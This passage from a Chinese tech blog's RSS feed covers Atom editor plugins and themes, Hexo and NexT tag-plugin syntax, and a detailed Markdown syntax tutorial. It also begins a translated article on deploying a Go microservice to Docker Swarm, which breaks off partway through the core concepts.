&lt;p&gt;在界面显示一个本文件的缩略图，可以点击到达代码的位置。类似 SublimeText 中的代码缩略。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;file-icons&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在文件的前面加上一个方便好看的小图标。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;markdown-preview-enhanced&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;使用 &lt;code&gt;Ctrl+Shift+m&lt;/code&gt; 打开，要先关闭其余的 Markdown 插件。
Atom 上最好的 Markdown 插件。比官方原生插件和 &lt;code&gt;markdown-preview-plus&lt;/code&gt; 都好得多。
而且还有详细的 &lt;a href=&quot;https://shd101wyy.github.io/markdown-preview-enhanced/##/zh-cn/&quot;&gt;markdown preview enhanced 插件中文文档&lt;/a&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;autocomplete-paths&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;自动补齐文件文件夹路径，详细使用情况搜索官方文档。&lt;/p&gt;
&lt;h2&gt;精美主题推荐&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;以 &lt;code&gt;-ui&lt;/code&gt; 结尾的为修饰界面的插件。&lt;/li&gt;
&lt;li&gt;以 &lt;code&gt;-syntax&lt;/code&gt; 结尾的为修饰文件内语法颜色和样式的插件。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;set-ui&lt;/li&gt;
&lt;li&gt;set-syntax&lt;/li&gt;
&lt;li&gt;atom-material-ui&lt;/li&gt;
&lt;li&gt;atom-material-syntax&lt;/li&gt;
&lt;li&gt;dracula-ui&lt;/li&gt;
&lt;li&gt;dracula-syntax&lt;/li&gt;
&lt;li&gt;monokai&lt;/li&gt;
&lt;li&gt;Lucario&lt;/li&gt;
&lt;li&gt;obsidian-syntax&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>Ubuntu</category></item><item><title>Hexo 和 NexT 的标签插件</title><link>https://www.sulinehk.com/post/hexo-next-tag-plugins/</link><guid isPermaLink="true">https://www.sulinehk.com/post/hexo-next-tag-plugins/</guid><description>介绍了如何通过使用 Hexo 和 NexT 的标签插件来让你的博客富有吸引力。</description><pubDate>Sun, 28 Jan 2018 13:36:25 GMT</pubDate><content:encoded>&lt;p&gt;标签插件（内置标签）用于在 Hexo 和 NexT 的 Markdown 文档中插入某些特定内容，用来弥补原生 Markdown 文档的功能。&lt;/p&gt;
&lt;p&gt;比如，Markdown 文档的图片引用不支持改变图片的显示大小，Hexo 中就可以用 &lt;code&gt;img&lt;/code&gt; 标签来改变。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Hexo 的标签插件&lt;/h2&gt;
&lt;p&gt;其中，大多数 &lt;code&gt;[]&lt;/code&gt; 中的内容是可选的。&lt;/p&gt;
&lt;h3&gt;引用块&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{% blockquote [author[, source]] [link] [source_link_title] %}
content
{% endblockquote %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;代码块&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{% codeblock [title] [lang:language] [url] [link text] %}
code snippet
{% endcodeblock %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Pull Quote（醒目引文）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{% pullquote [class] %}
content
{% endpullquote %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;jsFiddle&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://jsfiddle.net/&quot;&gt;jsFiddle&lt;/a&gt; 是一个前端代码在线演示的网站。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% jsfiddle shorttag [tabs] [skin] [width] [height] %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Gist&lt;/h3&gt;
&lt;p&gt;由 GitHub 提供的包括但不限于记录代码片段的服务。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% gist gist_id [filename] %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;iframe&lt;/h3&gt;
&lt;p&gt;在 Markdown 文档中插入 HTML 的 &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; 标签。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% iframe url [width] [height] %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Image&lt;/h3&gt;
&lt;p&gt;Markdown 文档不支持引用图片时修改图片的大小，Hexo 提供 &lt;code&gt;img&lt;/code&gt; 标签来实现这个功能。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% img [class names] /path/to/image [width] [height] [title text [alt text]] %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Link&lt;/h3&gt;
&lt;p&gt;插入链接，并自动给外部链接添加在新窗口打开的属性。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% link text url [external] [title] %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Include Code&lt;/h3&gt;
&lt;p&gt;插入 &lt;code&gt;/source&lt;/code&gt; 文件夹内的代码文件，且支持标注语言种类。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% include_code [title] [lang:language] path/to/file %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Youtube&lt;/h3&gt;
&lt;p&gt;插入 Youtube 视频，需提供 &lt;code&gt;video_id&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% youtube video_id %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Vimeo&lt;/h3&gt;
&lt;p&gt;插入 Vimeo 视频，同样需提供 &lt;code&gt;video_id&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% vimeo video_id %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;引用文章&lt;/h3&gt;
&lt;p&gt;引用其他文章的链接，支持文章相对路径和文章链接两种方式。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% post_path slug %}
{% post_link slug [title] %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;引用资源&lt;/h3&gt;
&lt;p&gt;在 Hexo 中打开文章资源文件夹的功能后，Markdown 原生的引用资源方法就不再适用于这些文章资源了。
正确的引用这些资源的方式是通过下面这些标签来引用。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% asset_path slug %}
{% asset_img slug [title] %}
{% asset_link slug [title] %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Raw&lt;/h3&gt;
&lt;p&gt;在文章中插入 &lt;code&gt;Swig&lt;/code&gt; 标签时，可以通过 &lt;code&gt;Raw&lt;/code&gt; 标签来防止解析错误。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{% raw%}
content
{% endraw%}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;NexT 的內建标签&lt;/h2&gt;
&lt;h3&gt;文本居中的引用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;blockquote class=&quot;blockquote-center&quot;&amp;gt; 苟利国家生死以，岂因祸福趋避之。 &amp;lt;/blockquote&amp;gt;

{% centerquote %} 苟利国家生死以，岂因祸福趋避之。 {% endcenterquote %}

{% cq %}  苟利国家生死以，岂因祸福趋避之。  {% endcq %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上三种方式分别是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;直接在 Markdown 文档中编写 HTML 来调用的 HTML 方式。&lt;/li&gt;
&lt;li&gt;要求 Hexo 版本大于或等于 0.4.5 的标签方式。&lt;/li&gt;
&lt;li&gt;同样有版本要求的标签别名方式。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;突破容器宽度限制的图片&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;/image-url&quot; class=&quot;full-image&quot; /&amp;gt;

{% fullimage /image-url, alt, title %}

{% fi /image-url, alt, title %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三种方式同上。&lt;/p&gt;
&lt;h3&gt;Bootstrap Callout&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{% note danger %} content {% endnote %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中，danger 可以为 &lt;code&gt;default&lt;/code&gt;、&lt;code&gt;primary&lt;/code&gt;、&lt;code&gt;success&lt;/code&gt;、&lt;code&gt;info&lt;/code&gt;、&lt;code&gt;warning&lt;/code&gt;、&lt;code&gt;danger&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;详情查看 &lt;a href=&quot;https://v4.bootcss.com/&quot;&gt;Bootstrap 中文文档&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://hexo.io/zh-cn/docs/tag-plugins&quot;&gt;Hexo 标签插件文档&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://theme-next.iissnan.com/tag-plugins.html&quot;&gt;NexT 内置标签文档&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Website</category></item><item><title>Markdown 说明</title><link>https://www.sulinehk.com/post/markdown-explanation/</link><guid isPermaLink="true">https://www.sulinehk.com/post/markdown-explanation/</guid><description>使用各种简单明了的例子详细说明了 Markdown 格式的全部语法和一些小窍门。还讲解了 GitHub 特有的语法格式。</description><pubDate>Fri, 08 Dec 2017 05:26:59 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;软件文档或者源代码文档是指与软件系统及其软件工程过程有关联的文本实体。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;目前最受欢迎的软件文档格式非 Markdown 莫属，本文主要叙述的就是关于它的说明，通过本文你可以学到诸多语法细节和编写地道的
Markdown 文档的方法。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Markdown 介绍&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Markdown 是一种轻量级标记语言，创始人为约翰·格鲁伯（John Gruber）。&lt;/p&gt;
&lt;p&gt;它允许人们“使用易读易写的纯文本格式编写文档，然后转换成有效的 HTML 文档”。很适合专注于文字而非功能的方面，例如软件的文档、博客的文章等。因此也出现了许多把
Markdown 文档渲染成 HTML 文档的工具。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;其中最重要的设计是可读性，也就是说这个语言应该在源码层面上易于阅读。区别于 HTML 文档更加容易修改和维护。为了更具表达力或者是满足用户的需求，出现了许多
Markdown 格式的变种。例如：GitHub 的 Markdown 格式。&lt;/p&gt;
&lt;p&gt;这些变种常常是原版的超集，包含了很多原版没有的语法和功能，本文只关注原版基本的语法和功能。&lt;/p&gt;
&lt;h2&gt;更好的阅读本文&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在类似 &lt;code&gt;#&lt;/code&gt; &lt;code&gt;1.&lt;/code&gt; &lt;code&gt;*&lt;/code&gt; 等前置命令后面都要加个空格使其生效。&lt;/li&gt;
&lt;li&gt;每个小标题下面先是展示语法的效果（有些片段因为重复，可能会被省略），然后在下面的代码框中是具体的实现代码。中间可能还会穿插着有关代码的说明和提示。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;example&lt;/code&gt; 是示例文本，你可以用任意文本替换。但这不代表示例文本都是用 &lt;code&gt;example&lt;/code&gt; 表示，为了可读性会使用其他文本，具体情况可关注代码框中的实现。&lt;/li&gt;
&lt;li&gt;缩进在文中代表一个 &lt;code&gt;Tab&lt;/code&gt; 或四个 &lt;code&gt;Space&lt;/code&gt; 。在 &lt;code&gt;soft tab&lt;/code&gt; 的情况下，此两者是等价的。后面类似的情况这条规则都适用。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;标题&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 标题
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;一级标题&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 一级标题
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;另一种一级标题的实现方式，大于或等于三个 &lt;code&gt;=&lt;/code&gt; 号就可以被解析。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;一级标题
=======
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二级标题&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;## 二级标题
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;另一种二级标题的实现方式，大于或等于三个 &lt;code&gt;-&lt;/code&gt; 号就可以被解析。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;二级标题
-------
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三级标题&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;### 三级标题
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;四级标题&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;#### 四级标题
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;五级标题&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;##### 五级标题
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;六级标题&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;###### 六级标题
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;除一级、二级标题外，其他标题的代码实现只有一种。&lt;/p&gt;
&lt;p&gt;标题的有效层级运用可以让文档的结构脉络更加清晰，你可以使用如下代码展现文档目录：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[TOC]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;列表&lt;/h2&gt;
&lt;h3&gt;有序列表&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;1&lt;/li&gt;
&lt;li&gt;2&lt;/li&gt;
&lt;li&gt;3&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;1. 1
2. 2
3. 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然而下面的代码也能产生同样的效果。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;2. 1
8. 2
4. 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这说明前面的序号并没有影响。不过为了不产生歧义，还是使用第一种作为规范更好。&lt;/p&gt;
&lt;h3&gt;无序列表&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;1&lt;/li&gt;
&lt;li&gt;2&lt;/li&gt;
&lt;li&gt;3&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;* 1
* 2
* 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中的 &lt;code&gt;*&lt;/code&gt; 号可以被 &lt;code&gt;+&lt;/code&gt; 或 &lt;code&gt;-&lt;/code&gt; 等价替换。&lt;/p&gt;
&lt;h3&gt;多行列表&lt;/h3&gt;
&lt;p&gt;列表也支持多行，需要缩进。&lt;/p&gt;
&lt;p&gt;并且子列表需要比父列表更多的缩进。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;example&lt;/p&gt;
&lt;p&gt;example&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;example&lt;/p&gt;
&lt;p&gt;example&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;1. example

   example

2. example

   example
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;列表内引用&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;example&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;example&lt;/p&gt;
&lt;p&gt;example&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;同样需要一个 &lt;code&gt;Tab&lt;/code&gt; 或四个 &lt;code&gt;Space&lt;/code&gt; 来缩进。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;* example

  &amp;gt; example
  &amp;gt;
  &amp;gt; example
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;代码标记&lt;/h2&gt;
&lt;p&gt;单行（一小段）代码 &lt;code&gt;printf()&lt;/code&gt; 标记：&lt;/p&gt;
&lt;p&gt;注意：这里的 ` 是反引号，不是单引号。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;`printf()`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;多行代码标记：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;printf()
printf()
printf()
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;```
printf()
printf()
printf()
```
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者使用缩进。&lt;/p&gt;
&lt;p&gt;这里的空格是全角空格，具体实现应当使用半角空格。复制粘贴不能起到应有的效果。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;printf()printf()printf()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;引用&lt;/h2&gt;
&lt;h3&gt;普通引用&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;这里是引用&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; 这里是引用
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以引用其他包含 Markdown 语法的标签。&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;example&lt;/li&gt;
&lt;li&gt;example&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; # 标题
&amp;gt; 1. example
&amp;gt; 2. example
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;嵌套引用&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;example&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;example&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;example&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;example&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; example
&amp;gt;
&amp;gt; &amp;gt; example
&amp;gt;
&amp;gt; &amp;gt; &amp;gt; example
&amp;gt;
&amp;gt; example
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;图片与链接&lt;/h2&gt;
&lt;h3&gt;图片&lt;/h3&gt;
&lt;h4&gt;图片行内式&lt;/h4&gt;
&lt;p&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[图片](/avatar.webp &quot;title&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;图片参考式&lt;/h4&gt;
&lt;p&gt;![图片] &lt;a href=&quot;/avatar.webp&quot;&gt;pid&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;![图片] [pid]

[pid]: /avatar.webp &quot;title&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;链接&lt;/h3&gt;
&lt;h4&gt;自动链接&lt;/h4&gt;
&lt;p&gt;直接使用 &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt; 把链接包裹起来：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.sulinehk.com/&quot;&gt;https://www.sulinehk.com/&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;https://www.sulinehk.com/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;邮箱的也类似：&lt;a href=&quot;mailto:example@gmail.com&quot;&gt;example@gmail.com&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;example@gmail.com&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;链接行内式&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://www.sulinehk.com/&quot;&gt;链接&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[链接](https://www.sulinehk.com/ &quot;title&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;链接参考式&lt;/h4&gt;
&lt;p&gt;[链接] &lt;a href=&quot;https://www.sulinehk.com/&quot;&gt;id&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[链接] [id]

[id]: https://www.sulinehk.com/ &quot;title&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;其中，&lt;code&gt;title&lt;/code&gt; 为鼠标指向 &lt;code&gt;链接&lt;/code&gt; 或 &lt;code&gt;图片&lt;/code&gt; 时出现的文字。&lt;/li&gt;
&lt;li&gt;第二行代码可出现在 Markdown 文档的任意位置，&lt;code&gt;id&lt;/code&gt; 为任意标识符，引导至第二行代码。&lt;/li&gt;
&lt;li&gt;在一个文档里面需大量使用图片或链接时，建议使用参考式，这样更易于管理和更新。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;粗体与斜体&lt;/h2&gt;
&lt;h3&gt;粗体&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;粗体&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;**粗体**
__粗体__
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;斜体&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;斜体&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*斜体*
_斜体_
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;表格&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Table1&lt;/th&gt;
&lt;th&gt;Table2&lt;/th&gt;
&lt;th&gt;Table3&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;a&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;one&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;two&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;c&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;three&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;| Table1 | Table2  | Table3   |
| ------ |:-------:| --------:|
|   a    |    1    |   one    |
|   b    |    2    |   two    |
|   c    |    3    |   three  |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;表格的实现格式有更多复杂繁琐的规则，这里不进行更多的概述。&lt;/p&gt;
&lt;h2&gt;分隔线&lt;/h2&gt;
&lt;p&gt;在一行内有大于或等于三个的 &lt;code&gt;*&lt;/code&gt; &lt;code&gt;-&lt;/code&gt; &lt;code&gt;_&lt;/code&gt; 符号且没有其他内容（空格除外）就可以建立一条分隔线。&lt;/p&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;***
*****
* * *
---
___
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;删除线&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;example&lt;/s&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~~example~~
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;反斜杠&lt;/h2&gt;
&lt;p&gt;*&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\需要转义的符号（如*）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样可以避免 Markdown 解析某些字符。&lt;/p&gt;
&lt;p&gt;反斜杠支持的符号列表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\   反斜线
`   反引号
*   星号
_   底线
{}  花括号
[]  方括号
()  括弧
#   井字号
+   加号
-   减号
.   英文句点
!   惊叹号
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;复选框列表（github 特有)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[x]&lt;/code&gt; &lt;code&gt;[ ]&lt;/code&gt; 分别表示选中和未选中&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[x]&lt;/code&gt; &lt;code&gt;[ ]&lt;/code&gt; 后有个空格&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[ ]&lt;/code&gt; 中有个空格&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;[x] Python&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;[x] Go&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;[ ] Lisp&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;[ ] Ruby&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;* [x] Python
* [x] Go
* [ ] Lisp
* [ ] Ruby
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;扩展阅读&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/fex-team/styleguide/blob/master/markdown.md&quot;&gt;Markdown 编写规范&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mazhuang.org/wiki/chinese-copywriting-guidelines/&quot;&gt;中文文案排版指北&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>[译]用 Go 语言编写一个微服务博客 — 第五部分 — 在 Docker Swarm 上进行部署</title><link>https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part5/</link><guid isPermaLink="true">https://www.sulinehk.com/post/write-a-microservice-blog-in-golang-part5/</guid><description>介绍了如何在 Docker Swarm 上进行部署微服务博客。</description><pubDate>Tue, 28 Mar 2017 13:12:17 GMT</pubDate><content:encoded>&lt;p&gt;原文链接：&lt;a href=&quot;https://callistaenterprise.se/blogg/teknik/2017/03/09/go-blog-series-part5/&quot;&gt;Go microservices, part 5 - deploying on Docker Swarm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在第 5 部分中，我们将启动 accountservice，在本地部署的 &lt;a href=&quot;https://www.docker.com/products/docker-swarm&quot;&gt;Docker Swarm&lt;/a&gt; 集群上运行，并讨论容器编排的核心概念。&lt;/p&gt;
&lt;p&gt;这篇博客文章涉及以下内容：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Docker Swarm 和容器编排&lt;/li&gt;
&lt;li&gt;使用 Docker 容器化我们的 accountservice&lt;/li&gt;
&lt;li&gt;搭建本地 Docker Swarm 集群&lt;/li&gt;
&lt;li&gt;将 accountservice 部署为 Swarm 服务&lt;/li&gt;
&lt;li&gt;运行基准测试并收集指标&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;什么是容器编排？&lt;/h2&gt;
&lt;p&gt;在开始实践之前，可能需要快速介绍一下容器编排的概念。&lt;/p&gt;
&lt;p&gt;随着应用程序变得越来越复杂，并且必须处理越来越高的负载，我们必须接受这样一个事实，即：我们需要管理分布运行在多个物理或虚拟硬件上的数百个服务实例。&lt;/p&gt;
&lt;p&gt;而容器编排允许我们将所有硬件视为单个逻辑实体。&lt;/p&gt;
&lt;p&gt;来自 &lt;a href=&quot;https://thenewstack.io/&quot;&gt;thenewstack.io&lt;/a&gt; 的有关容器编排的&lt;a href=&quot;https://thenewstack.io/containers-container-orchestration/&quot;&gt;这篇文章&lt;/a&gt;将其总结为：&lt;strong&gt;抽象了主机基础结构，编排工具使得用户可以将整个集群视为单个部署目标&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我可以试着总结，容器编排工具，如：Kubernetes 或 Docker Swarm 允许我们部署软件组件作为&lt;a href=&quot;https://docs.docker.com/engine/swarm/key-concepts/&quot;&gt;服务&lt;/a&gt;，在基础设施上的一个或多个节点上运行。&lt;/p&gt;
&lt;p&gt;对于 Docker，Swarm 模式用于管理被称为 swarm 的 Docker 集群。&lt;/p&gt;
&lt;p&gt;Kubernetes 的关键概念命名和层次结构略有不同，但是总体上和 Docker Swarm 相同。&lt;/p&gt;
&lt;p&gt;容器编排工具不仅为我们处理了服务的生命周期，还为诸如服务发现、负载平衡、内部寻址和日志记录之类的工作提供了工具。&lt;/p&gt;
&lt;h2&gt;Docker Swarm 核心概念&lt;/h2&gt;
&lt;p&gt;在 Docker Swarm 中，有三个概念需要介绍：节点、服务和任务。&lt;/p&gt;
&lt;h3&gt;节点&lt;/h3&gt;
&lt;p&gt;一个节点是一个在 swarm 里面的 Docker 引擎的实例。&lt;/p&gt;
&lt;p&gt;从技术上讲，可以将其视为具有自己的 CPU 资源、内存和网络接口的主机。&lt;/p&gt;
&lt;p&gt;节点可以是管理者节点或工作者节点。&lt;/p&gt;
&lt;h3&gt;服务&lt;/h3&gt;
&lt;p&gt;服务是对工作者节点上要执行的操作，由容器镜像和您指示容器执行的命令合集来定义。&lt;/p&gt;
&lt;p&gt;服务可以被复制或包括，详情请参阅&lt;a href=&quot;https://docs.docker.com/engine/swarm/services/#/control-service-scale-and-placement&quot;&gt;该文档&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;服务可以被看作是一种抽象，它使任意数量的容器形成一个逻辑服务，可以通过其名称在整个集群中（或集群外部）来访问它，而不必了解有关内部环境网络拓扑的任何信息。&lt;/p&gt;
&lt;h3&gt;任务&lt;/h3&gt;
&lt;p&gt;尽一切可能将任务视为 Docker 容器。&lt;/p&gt;
